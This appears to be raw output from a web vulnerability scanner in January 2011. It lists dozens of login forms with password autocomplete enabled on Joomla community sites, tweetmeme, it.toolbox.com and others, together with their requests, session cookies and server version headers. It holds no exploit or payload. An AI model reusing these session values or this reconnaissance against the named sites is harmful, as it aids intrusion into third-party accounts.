GET /showcase/ HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:32 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff1c090dbcaab6cc278de2960e220011; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:32 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 39456
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /showcase/how-to-submit-a-site.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=be510ddcd2bf15612a74f73f10f6bdfe; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:53 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25112
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /showcase/sites-of-the-month.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff4fc6ec86026a313be3c261f8519100; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:52 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36923
The page contains a form with the following action URL:
http://community.joomla.org/showcase/sites.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /showcase/sites/advsearch.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:48 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=6cd3aab8711a0481615375ee027eb309; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:49 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42915
The page contains a form with the following action URL:
http://community.joomla.org/showcase/sites.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /showcase/sites/new.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:46 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=423eae15ca00d1e8cf624b675f042aa5; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:47 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 69155
The page contains a form with the following action URL:
http://community.joomla.org/user-groups.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /user-groups.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:22:54 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:22:56 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 205369
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://demo16.cloudaccess.net/index.php
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 0d4018dcd0961c57d0d37c72abf6777f=0jc68bdosfv0usmfgmt3kojis0; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 13991
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /administrator/index.php HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 3cd367566174a1f3a2f806869f69204d=tfi2vmv2kpu2qbp7plrssh0ha6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Length: 4671 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /profile/login/ HTTP/1.1 Host: disqus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:31:33 GMT Server: Apache Vary: Cookie,Accept-Encoding Content-Length: 6310 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <link rel="shortcut ...[SNIP]... </h3>
The form contains the following password fields with autocomplete enabled:
wpPassword
wpRetype
Request
GET /index.php?title=Special:UserLogin&type=signup&returnto=Main_Page HTTP/1.1 Host: docs.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:05:38 GMT Server: Apache X-Powered-By: PHP/5.2.13 Content-language: en Vary: Accept-Encoding,Cookie X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=docsj_mediawikiToken;string-contains=docsj_mediawikiLoggedOut;string-contains=docsj_mediawiki_session Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Set-Cookie: docsj_mediawiki_session=40d5d912ccf86251c09e6204ee9fda3b; path=/; HttpOnly Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 12303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The page contains a form with the following action URL:
http://extensions.joomla.org/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=9b5564d7b57848ef22bf9ac141472038; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 54147
The page contains a form with the following action URL:
http://extensions.joomla.org/extensions
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /extensions HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=8ce91e96c30d6b3c03ce44895359f0bf; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 58780
The page contains a form with the following action URL:
http://extensions.joomla.org/extensions
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /extensions/advanced-search HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=662ff80b6519b113832192982b098a5a; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 61417
The page contains a form with the following action URL:
http://extensions.joomla.org/extensions
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /extensions/languages/translations-for-joomla HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=119690ae64f99e48cab89680209b4270; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 72889
The page contains a form with the following action URL:
http://extensions.joomla.org/extensions
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /extensions/new HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=bd83a0d831a42c661eb59a60c147c8f6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 78217
The form contains the following password field with autocomplete enabled:
pass
Request
GET /0 HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:49 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Content-Length: 5182 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL:
http://fastdial.com/user
The form contains the following password field with autocomplete enabled:
pass
Request
GET /user HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:49 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Content-Length: 4772 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL:
http://fastdial.com/website?destination=website
The form contains the following password field with autocomplete enabled:
pass
Request
GET /website HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:48 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8476
The form contains the following password field with autocomplete enabled:
password
Request
GET /ucp.php HTTP/1.1 Host: forum.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The form contains the following password field with autocomplete enabled:
password
Request
GET /viewforum.php?f=511 HTTP/1.1 Host: forum.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: forumas.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://forums.freebsd.org/login.php?do=login
The form contains the following password field with autocomplete enabled:
vb_login_password
Request
GET / HTTP/1.1 Host: forums.freebsd.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET / HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /2009/04/07/api-documentation/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /2009/04/09/rss-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /2009/04/09/twitter-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /contact/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /forum/forum/33 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:02:32 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Content-Length: 6371 Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form with the following action URL:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET /language/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/database-soup
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-soup HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61117 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:03:34 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/database-talk
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-talk HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63385 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:15 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/db2luw
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2luw HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62898 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:40 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/db2zos
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2zos HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78332 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:56 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/elsua
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/elsua HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64411 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:05 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/juice-analytics
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/juice-analytics HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61828 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:15 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/minimalit
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/minimalit HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60086 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:32 GMT Connection: close
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/penguinista-databasiensis HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 46021 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:24 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/ppmtoday
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/ppmtoday HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63634 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:27 GMT Connection: close
The page contains a form with the following action URL:
http://netvouz.com/action/submitBookmark
The form contains the following password field with autocomplete enabled:
password
Request
GET /action/submitBookmark HTTP/1.1 Host: netvouz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:24:42 GMT Server: IBM_HTTP_Server P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR NOR UNI COM NAV" Cache-Control: no-cache Pragma: no-cache Expires: -1 Set-Cookie: JSESSIONID=0000e0ie9rZuNgE43J-9RQD-aOC:-1; Path=/ Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Language: en-US Content-Length: 5096
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www. ...[SNIP]... </p>
The page contains a form with the following action URL:
http://people.joomla.org/people.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:57 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=df72bb7ce303a3507e4fbb9caac60af7; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2F; expires=Tue, 25-Jan-2011 22:47:57 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:47:57 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 104112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... </h3>
The page contains a form with the following action URL:
http://people.joomla.org/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:57 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=df72bb7ce303a3507e4fbb9caac60af7; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2F; expires=Tue, 25-Jan-2011 22:47:57 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:47:57 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 104112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... <div class="highslide-body">
The page contains a form with the following action URL:
http://people.joomla.org/groups.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /groups/viewdiscussion/996-Joomla..%2016%20Has%20Arrived.html HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
